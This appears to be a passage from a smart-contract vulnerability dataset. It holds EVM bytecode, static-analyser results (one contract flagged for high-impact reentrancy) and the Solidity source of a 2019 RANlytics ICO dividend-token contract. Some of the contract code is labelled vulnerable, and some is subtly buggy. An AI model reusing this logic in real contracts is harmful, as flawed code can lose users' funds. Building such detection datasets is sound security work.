4051806060016040528060288152602001611d7d602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111b9565b610b59565b5060019392505050565b6000546001600160a01b031633146107105760405162461bcd60e51b81526004016105f190611c02565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6012546001600160a01b0316336001600160a01b0316148061076657506013546001600160a01b0316336001600160a01b0316145b61076f57600080fd5b47610779816111f3565b50565b6001600160a01b0381166000908152600260205260408120546106779061122d565b6000546001600160a01b031633146107c85760405162461bcd60e51b81526004016105f190611c02565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461083c5760405162461bcd60e51b81526004016105f190611c02565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146108845760405162461bcd60e51b81526004016105f190611c02565b601855565b6000546001600160a01b031633146108b35760405162461bcd60e51b81526004016105f190611c02565b600893909355600a91909155600955600b55565b6000610673338484610c7d565b6000546001600160a01b031633146108fe5760405162461bcd60e51b81526004016105f190611c02565b601655565b6012546001600160a01b0316336001600160a01b0316148061093857506013546001600160a01b0316336001600160a01b0316145b61094157600080fd5b600061094c3061077c565b9050610779816112b1565b6000546001600160a01b031633146109815760405162461bcd60e51b81526004016105f190611c02565b60005b828110156109f25781600560008686858181106109a3576109a3611c37565b90506020020160208101906109b89190611ab2565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055806109ea81611c63565b915050610984565b50505050565b6000546001600160a01b03163314610a225760405162461bcd60e51b81526004016105f190611c02565b601755565b6000546001600160a01b03163314610a515760405162461bcd60e51b81526004016105f190611c02565b6001600160a01b038116610ab65760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105f1565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610b3b5760405162461bcd60e51b81526004016105f190611c02565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6001600160a01b038316610bbb5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105f1565b6001600160a01b038216610c1c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105f1565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ce15760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105f1565b6001600160a01b038216610d435760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105f1565b60008111610da55760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105f1565b6000546001600160a01b03848116911614801590610dd157506000546001600160a01b03838116911614155b156110b257601554600160a01b900460ff16610e6a576000546001600160a01b03848116911614610e6a5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105f1565b601654811115610ebc5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105f1565b6001600160a01b03831660009081526010602052604090205460ff16158015610efe57506001600160a01b03821660009081526010602052604090205460ff16155b610f565760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105f1565b6015546001600160a01b03838116911614610fdb5760175481610f788461077c565b610f829190611c7e565b10610fdb5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105f1565b6000610fe63061077c565b601854601654919250821015908210610fff5760165491505b8080156110165750601554600160a81b900460ff16155b801561103057506015546001600160a01b03868116911614155b80156110455750601554600160b01b900460ff165b801561106a57506001600160a01b03851660009081526005602052604090205460ff16155b801561108f57506001600160a01b03841660009081526005602052604090205460ff16155b156110af5761109d826112b1565b4780156110ad576110ad476111f3565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806110f457506001600160a01b03831660009081526005602052604090205460ff165b8061112657506015546001600160a01b0385811691161480159061112657506015546001600160a01b03848116911614155b15611133575060006111ad565b6015546001600160a01b03858116911614801561115e57506014546001600160a01b03848116911614155b1561117057600854600c55600954600d555b6015546001600160a01b03848116911614801561119b57506014546001600160a01b03858116911614155b156111ad57600a54600c55600b54600d555b6109f28484848461143a565b600081848411156111dd5760405162461bcd60e51b81526004016105f191906119f0565b5060006111ea8486611c96565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610662573d6000803e3d6000fd5b60006006548211156112945760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105f1565b600061129e611468565b90506112aa838261148b565b9392505050565b6015805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112f9576112f9611c37565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561134d57600080fd5b505afa158015611361573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113859190611cad565b8160018151811061139857611398611c37565b6001600160a01b0392831660209182029290920101526014546113be9130911684610b59565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906113f7908590600090869030904290600401611cca565b600060405180830381600087803b15801561141157600080fd5b505af1158015611425573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b80611447576114476114cd565b6114528484846114fb565b806109f2576109f2600e54600c55600f54600d55565b60008060006114756115f2565b9092509050611484828261148b565b9250505090565b60006112aa83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611632565b600c541580156114dd5750600d54155b156114e457565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061150d87611660565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061153f90876116bd565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461156e90866116ff565b6001600160a01b0389166000908152600260205260409020556115908161175e565b61159a84836117a8565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516115df91815260200190565b60405180910390a3505050505050505050565b6006546000908190678ac7230489e8000061160d828261148b565b82101561162957505060065492678ac7230489e8000092509050565b90939092509050565b600081836116535760405162461bcd60e51b81526004016105f191906119f0565b5060006111ea8486611d3b565b600080600080600080600080600061167d8a600c54600d546117cc565b925092509250600061168d611468565b905060008060006116a08e878787611821565b919e509c509a509598509396509194505050505091939550919395565b60006112aa83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111b9565b60008061170c8385611c7e565b9050838110156112aa5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105f1565b6000611768611468565b905060006117768383611871565b3060009081526002602052604090205490915061179390826116ff565b30600090815260026020526040902055505050565b6006546117b590836116bd565b6006556007546117c590826116ff565b6007555050565b60008080806117e660646117e08989611871565b9061148b565b905060006117f960646117e08a89611871565b905060006118118261180b8b866116bd565b906116bd565b9992985090965090945050505050565b60008080806118308886611871565b9050600061183e8887611871565b9050600061184c8888611871565b9050600061185e8261180b86866116bd565b939b939a50919850919650505050505050565b60008261188057506000610677565b600061188c8385611d5d565b9050826118998583611d3b565b146112aa5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105f1565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461077957600080fd5b803561192681611906565b919050565b6000602080838503121561193e57600080fd5b823567ffffffffffffffff8082111561195657600080fd5b818501915085601f83011261196a57600080fd5b81358181111561197c5761197c6118f0565b8060051b604051601f19603f830116810181811085821117156119a1576119a16118f0565b6040529182528482019250838101850191888311156119bf57600080fd5b938501935b828510156119e4576119d58561191b565b845293850193928501926119c4565b98975050505050505050565b600060208083528351808285015260005b81811015611a1d57858101830151858201604001528201611a01565b81811115611a2f576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a5857600080fd5b8235611a6381611906565b946020939093013593505050565b600080600060608486031215611a8657600080fd5b8335611a9181611906565b92506020840135611aa181611906565b929592945050506040919091013590565b600060208284031215611ac457600080fd5b81356112aa81611906565b8035801515811461192657600080fd5b600060208284031215611af157600080fd5b6112aa82611acf565b600060208284031215611b0c57600080fd5b5035919050565b60008060008060808587031215611b2957600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b5a57600080fd5b833567ffffffffffffffff80821115611b7257600080fd5b818601915086601f830112611b8657600080fd5b813581811115611b9557600080fd5b8760208260051b8501011115611baa57600080fd5b602092830195509350611bc09186019050611acf565b90509250925092565b60008060408385031215611bdc57600080fd5b8235611be781611906565b91506020830135611bf781611906565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611c7757611c77611c4d565b5060010190565b60008219821115611c9157611c91611c4d565b500190565b600082821015611ca857611ca8611c4d565b500390565b600060208284031215611cbf57600080fd5b81516112aa81611906565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d1a5784516001600160a01b031683529383019391830191600101611cf5565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d5857634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611d7757611d77611c4d565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122089e0d8930a9a77abe1235513d2ba798a735eb16be1fa0bf38e694f42f89c85dd64736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 9,041 |
0x2a67145b04a5f49dc6828a4ddbc0985748bf40a8
|
/**
*Submitted for verification at Etherscan.io on 2019-07-11
*/
/**
*created on 2019-07-11
*/
pragma solidity ^0.4.20;
/*
* RANLYTICS ICO CONTRACT
* Offers dividend distribution-based returns for all token holders equivalent to that received by all RANlytics shareholders
* 300,000 tokens on offer - no more can be created once quota is filled. Tokens generated as purchased
* Each token is equivalent to 1 RANlytics share.
* In the event that the company is sold, the total proceeds of the sale will be divided equally by the total pool of shares + tokens,
* and both shareholders and token holders will receive payment from the proceeds of the sale proportionate to their total share or token holding.
*/
contract Hourglass {
/*=================================
= MODIFIERS =
=================================*/
// only people with tokens
modifier onlyholders() {
require(myTokens() > 0);
_;
}
// only people with dividends
modifier hasDividends() {
require(myDividends() > 0);
_;
}
// administrators can:
// -> change the name of the contract
// -> change the name of the token
// -> burn tokens in admin address
// -> close token buying
// they CANNOT:
// -> disable dividend withdrawals
// -> kill the contract
// -> change the price of tokens
modifier onlyAdministrator(){
address _customerAddress = msg.sender;
require(administrators[_customerAddress]);
_;
}
/*==============================
= EVENTS =
==============================*/
event onTokenPurchase(
address indexed customerAddress,
uint256 incomingEthereum,
uint256 tokensMinted
);
event onWithdraw(
address indexed customerAddress,
uint256 ethereumWithdrawn
);
event onCompanyBurn(
uint256 tokensBurnt
);
// ERC20 spec
event Transfer(
address indexed from,
address indexed to,
uint256 tokens
);
/*=====================================
= CONFIGURABLES =
=====================================*/
string public name = "RANlytics Round C ICO";
string public symbol = "RANC";
uint8 constant public decimals = 18;
uint256 constant maxTokens = 300000*1e18;
address constant internal companyAccount_ = 0xbADEc210d7E0E4082f8e9BC7b1C1abCAb925F4b8;
/*================================
= DATASETS =
================================*/
// amount of shares for each address (scaled number)
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => int256) internal payoutsTo_;
uint256 internal tokenSupply_ = 0;
uint256 internal profitPerShare_;
// administrator list (see above on what they can do)
mapping(address => bool) public administrators;
//lock further investments
bool internal locked_ = false;
/*=======================================
= PUBLIC FUNCTIONS =
=======================================*/
/*
* -- APPLICATION ENTRY POINTS --
*/
function Hourglass()
public
{
// add administrators here
administrators[0xbADEc210d7E0E4082f8e9BC7b1C1abCAb925F4b8] = true;
}
/**
* Converts all incoming ethereum to tokens for the caller
*/
function buy()
public
payable
{
purchaseTokens(msg.value);
}
/**
* Fallback function to handle ethereum that was sent straight to the contract
* Unfortunately we cannot use a referral address this way.
*/
function()
payable
public
{
purchaseTokens(msg.value);
}
/**
* Withdraws all of the callers earnings.
*/
function withdraw()
hasDividends()
public
{
// setup data
address _customerAddress = msg.sender;
uint256 _dividends = myDividends();
// update dividend tracker
payoutsTo_[_customerAddress] += (int256) (_dividends);
// lambo delivery service
_customerAddress.transfer(_dividends);
// fire event
onWithdraw(_customerAddress, _dividends);
}
/**
* Transfer tokens from the caller to a new holder.
*/
function transfer(address _toAddress, uint256 _amountOfTokens)
onlyholders()
public
returns(bool)
{
// setup
address _customerAddress = msg.sender;
// make sure we have the requested tokens
// also disables transfers until ambassador phase is over
// ( we dont want whale premines )
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
// withdraw all outstanding dividends first
if(myDividends() > 0) withdraw();
// exchange tokens
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _amountOfTokens);
// update dividend trackers
payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens / 1e18);
payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _amountOfTokens / 1e18);
// fire event
Transfer(_customerAddress, _toAddress, _amountOfTokens);
// ERC20
return true;
}
/*---------- ADMINISTRATOR ONLY FUNCTIONS ----------*/
/**
* In case one of us dies, we need to replace ourselves.
*/
function setAdministrator(address _identifier, bool _status)
onlyAdministrator()
public
{
administrators[_identifier] = _status;
}
function payDividend()
onlyAdministrator()
payable
public
{
profitPerShare_ = SafeMath.add(profitPerShare_, (msg.value * 1e18 ) / tokenSupply_);
}
/**
* If we want to rebrand, we can.
*/
function setName(string _name)
onlyAdministrator()
public
{
name = _name;
}
/**
* If we want to rebrand, we can.
*/
function setSymbol(string _symbol)
onlyAdministrator()
public
{
symbol = _symbol;
}
/**
* If we want to burn tokens being converted to RANlytics shares.
*/
function burnAdminTokens()
onlyAdministrator()
public
{
address _adminAddress = msg.sender;
require(tokenBalanceLedger_[_adminAddress] > 0);
//decrease token supply
tokenSupply_ = SafeMath.sub(tokenSupply_, tokenBalanceLedger_[_adminAddress]);
//burn tokens in admin address
tokenBalanceLedger_[_adminAddress] = 0;
//fire event on burnt tokens
onCompanyBurn(tokenBalanceLedger_[_adminAddress]);
}
/**
* If we want to lock buying early, we can.
*/
function lockBuying()
onlyAdministrator()
public
{
locked_ = true;
}
/**
* dividends are rounded down to wei, as such we may see dust settle in the contract.
* admin has the ability to claim this dust
* Only call if all users have withdrawn all dividends
* the function can only work if dust left is less than 0.00010000 eth so admin can't claim unclaimed dividends
*
*/
function cleanupEthInContract()
onlyAdministrator()
public
{
require(this.balance < 10000);
companyAccount_.transfer(this.balance);
}
/*---------- HELPERS AND CALCULATORS ----------*/
/**
* Method to view the current Ethereum stored in the contract
* Example: totalEthereumBalance()
*/
function totalEthereumBalance()
public
view
returns(uint)
{
return this.balance;
}
/**
* Retrieve the total token supply.
*/
function totalSupply()
public
view
returns(uint256)
{
return tokenSupply_;
}
/**
* Retrieve the status of buying enabled or not.
* true if buying still possible
*/
function buyOpen()
public
view
returns(bool)
{
return !locked_;
}
/**
* Retrieve the tokens owned by the caller.
*/
function myTokens()
public
view
returns(uint256)
{
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
/**
* Retrieve the dividends owned by the caller.
*/
function myDividends()
public
view
returns(uint256)
{
address _customerAddress = msg.sender;
return dividendsOf(_customerAddress) ;
}
/**
* Retrieve the token balance of any single address.
*/
function balanceOf(address _customerAddress)
view
public
returns(uint256)
{
return tokenBalanceLedger_[_customerAddress];
}
/**
* Retrieve the dividend balance of any single address.
*/
function dividendsOf(address _customerAddress)
view
public
returns(uint256)
{
return (uint256) ((int256)(SafeMath.mul(profitPerShare_ , tokenBalanceLedger_[_customerAddress] )) / 1e18 - payoutsTo_[_customerAddress]) ;
}
/*==========================================
= INTERNAL FUNCTIONS =
==========================================*/
function purchaseTokens(uint256 _incomingEthereum)
internal
returns(uint256)
{
//we require the buy in is not locked
require(!locked_);
//we require a minumum buyin of 0.1 ethereum
require(_incomingEthereum >= 1e17);
// data setup
address _customerAddress = msg.sender;
uint256 _amountOfTokens = _incomingEthereum * 20;
// no point in continuing execution if OP is a hacker
// prevents overflow in the case that the ICO somehow magically starts being used by everyone in the world
// (or hackers)
// and yes we know that the safemath function automatically rules out the "greater than" equation.
require(_amountOfTokens > 0 && (SafeMath.add(_amountOfTokens,tokenSupply_) > tokenSupply_));
//any purchase over a total of 300,000 tokens is rejected
require(SafeMath.add(tokenSupply_, _amountOfTokens) < maxTokens);
// we can't give people infinite ethereum
if(tokenSupply_ > 0){
// add tokens to the pool
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
} else {
// add tokens to the pool
tokenSupply_ = _amountOfTokens;
}
//set the invest lock if more than 300000 tokens are allocated
//we will accept the last buyers order and allocate those shares over the 300000 shares as an over subscription.
if (tokenSupply_ > maxTokens) locked_ = true;
// update circulating supply & the ledger address for the customer
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
// Tells the contract that the buyer doesn't deserve dividends for the tokens before they owned them;
int256 _updatedPayouts = (int256) ((profitPerShare_ * _amountOfTokens / 1e18) );
payoutsTo_[_customerAddress] += _updatedPayouts;
//transfer all ethereum to RANLytics
companyAccount_.transfer(_incomingEthereum);
// fire event
onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens);
return _amountOfTokens;
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
|
0x60606040526004361061011c576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806265318b1461012857806306fdde03146101755780630b6826ca1461020357806318160ddd1461020d578063201cc08e14610236578063313ce5671461024b5780633151ecfc1461027a5780633ccfd60b146102a357806343a88da6146102b85780636b2f4632146102e557806370a082311461030e57806376be15851461035b57806387c95058146103ac578063949e8acd146103f057806395d89b4114610419578063a023ea47146104a7578063a6f2ae3a146104bc578063a9059cbb146104c6578063af18a54814610520578063b84c824614610535578063c47f002714610592575b610125346105ef565b50005b341561013357600080fd5b61015f600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061087d565b6040518082815260200191505060405180910390f35b341561018057600080fd5b610188610925565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101c85780820151818401526020810190506101ad565b50505050905090810190601f1680156101f55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61020b6109c3565b005b341561021857600080fd5b610220610a4c565b6040518082815260200191505060405180910390f35b341561024157600080fd5b610249610a56565b005b341561025657600080fd5b61025e610b48565b604051808260ff1660ff16815260200191505060405180910390f35b341561028557600080fd5b61028d610b4d565b6040518082815260200191505060405180910390f35b34156102ae57600080fd5b6102b6610b62565b005b34156102c357600080fd5b6102cb610c67565b604051808215151515815260200191505060405180910390f35b34156102f057600080fd5b6102f8610c7f565b6040518082815260200191505060405180910390f35b341561031957600080fd5b610345600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610c9e565b6040518082815260200191505060405180910390f35b341561036657600080fd5b610392600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ce7565b604051808215151515815260200191505060405180910390f35b34156103b757600080fd5b6103ee600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080351515906020019091905050610d07565b005b34156103fb57600080fd5b610403610dc0565b6040518082815260200191505060405180910390f35b341561042457600080fd5b61042c610dd5565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561046c578082015181840152602081019050610451565b50505050905090810190601f1680156104995780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156104b257600080fd5b6104ba610e73565b005b6104c4611032565b005b34156104d157600080fd5b610506600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061103e565b604051808215151515815260200191505060405180910390f35b341561052b57600080fd5b610533611311565b005b341561054057600080fd5b610590600480803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190505061138c565b005b341561059d57600080fd5b6105ed600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050611404565b005b600080600080600760009054906101000a900460ff1615151561061157600080fd5b67016345785d8a0000851015151561062857600080fd5b33925060148502915060008211801561064d575060045461064b8360045461147c565b115b151561065857600080fd5b693f870857a3e0e380000061066f6004548461147c565b10151561067b57600080fd5b6000600454111561069d576106926004548361147c565b6004819055506106a5565b816004819055505b693f870857a3e0e380000060045411156106d5576001600760006101000a81548160ff0219169083151502179055505b61071e600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361147c565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550670de0b6b3a7640000826005540281151561077857fe5b04905080600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555073badec210d7e0e4082f8e9bc7b1c1abcab925f4b873ffffffffffffffffffffffffffffffffffffffff166108fc869081150290604051600060405180830381858888f19350505050151561081c57600080fd5b8273ffffffffffffffffffffffffffffffffffffffff167f7f743fb741e07b0c4daeb2af54fb3ebfa2bdb31d9913a0e555661c870411aae58684604051808381526020018281526020019250505060405180910390a2819350505050919050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054670de0b6b3a7640000610913600554600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461149a565b81151561091c57fe5b05039050919050565b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109bb5780601f10610990576101008083540402835291602001916109bb565b820191906000526020600020905b81548152906001019060200180831161099e57829003601f168201915b505050505081565b6000339050600660008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610a2057600080fd5b610a43600554600454670de0b6b3a76400003402811515610a3d57fe5b0461147c565b60058190555050565b6000600454905090565b6000339050600660008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610ab357600080fd5b6127103073ffffffffffffffffffffffffffffffffffffffff1631101515610ada57600080fd5b73badec210d7e0e4082f8e9bc7b1c1abcab925f4b873ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f193505050501515610b4557600080fd5b50565b601281565b600080339050610b5c8161087d565b91505090565b6000806000610b6f610b4d565b111515610b7b57600080fd5b339150610b86610b4d565b905080600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501515610c1557600080fd5b8173ffffffffffffffffffffffffffffffffffffffff167fccad973dcd043c7d680389db4378bd6b9775db7124092e9e0422c9e46d7985dc826040518082815260200191505060405180910390a25050565b6000600760009054906101000a900460ff1615905090565b60003073ffffffffffffffffffffffffffffffffffffffff1631905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60066020528060005260406000206000915054906101000a900460ff1681565b6000339050600660008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610d6457600080fd5b81600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550505050565b600080339050610dcf81610c9e565b91505090565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610e6b5780601f10610e4057610100808354040283529160200191610e6b565b820191906000526020600020905b815481529060010190602001808311610e4e57829003601f168201915b505050505081565b600080339050600660008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610ed157600080fd5b3391506000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111515610f2257600080fd5b610f6d600454600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114d5565b6004819055506000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507f13c4410b5399ceadc17d239e327b1b52623c126231f7703c8922d7eb2de6ac4f600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a15050565b61103b346105ef565b50565b600080600061104b610dc0565b11151561105757600080fd5b339050600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483111515156110a857600080fd5b60006110b2610b4d565b11156110c1576110c0610b62565b5b61110a600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054846114d5565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611196600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548461147c565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550670de0b6b3a764000083600554028115156111f057fe5b04600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550670de0b6b3a7640000836005540281151561125457fe5b04600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508373ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600191505092915050565b6000339050600660008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561136e57600080fd5b6001600760006101000a81548160ff02191690831515021790555050565b6000339050600660008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156113e957600080fd5b81600190805190602001906113ff9291906114ee565b505050565b6000339050600660008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561146157600080fd5b81600090805190602001906114779291906114ee565b505050565b600080828401905083811015151561149057fe5b8091505092915050565b60008060008414156114af57600091506114ce565b82840290508284828115156114c057fe5b041415156114ca57fe5b8091505b5092915050565b60008282111515156114e357fe5b818303905092915050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061152f57805160ff191683800117855561155d565b8280016001018555821561155d579182015b8281111561155c578251825591602001919060010190611541565b5b50905061156a919061156e565b5090565b61159091905b8082111561158c576000816000905550600101611574565b5090565b905600a165627a7a723058208d19f90d46a20e5035b81a4aaa1e469a9874e9e3002ace895ed0195201e3b0ed0029
|
{"success": true, "error": null, "results": {}}
| 9,042 |
0xfd2b93ea4f7547eff73d08d889bedcc5164c1175
|
pragma solidity 0.7.3;
abstract contract Context {
function _msgSender()
internal
view
virtual
returns (address payable)
{
return msg.sender;
}
function _msgData()
internal
view
virtual
returns (bytes memory)
{
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
